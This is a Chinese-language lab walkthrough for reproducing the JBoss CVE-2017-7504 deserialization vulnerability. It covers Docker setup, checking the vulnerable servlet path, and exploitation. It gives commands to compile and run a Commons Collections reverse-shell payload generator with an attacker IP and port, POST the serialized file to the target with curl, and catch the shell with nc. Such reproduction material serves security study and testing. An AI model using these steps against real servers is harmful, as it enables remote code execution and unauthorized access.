JBoss AS 4.x 及之前版本中, JbossMQ 实现过程的 JMS over HTTP Invocation Layer 的 HTTPServerILServlet.java 文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
CVE-2017-7504 漏洞与 CVE-2015-7501 的漏洞原理相似,只是利用的路径不一样, CVE-2017-7504 出现在 /jbossmq-httpil/HTTPServerILServlet 路径下。JBoss AS 4.x及之前版本中,JbossMQ实现过程的 JMS over HTTP Invocation Layer 的HTTPServerILServlet.java ⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码。
环境准备
问题:
端口占用
如果默认的8080端口被占用,可以改为:docker run -p 8080:8081 <image_name>
或者修改docker-compose 端口号
漏洞发现
访问your-ip:8080/jbossmq-httpil/HTTPServerILServlet
如出现以下界面,说明存在此漏洞
漏洞利用
进入攻击机,下载反序列化工具
下载地址:GitHub - ianxtianxt/CVE-2015-7501: (CVE-2015-7501)JBoss JMXInvokerServlet 反序列化漏洞
进入目录执行
1、javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
2、java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:监听端口
再用之前生成的.ser文件,通过POST二进制数据上去,使用nc监听端口,即可拿到shell
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser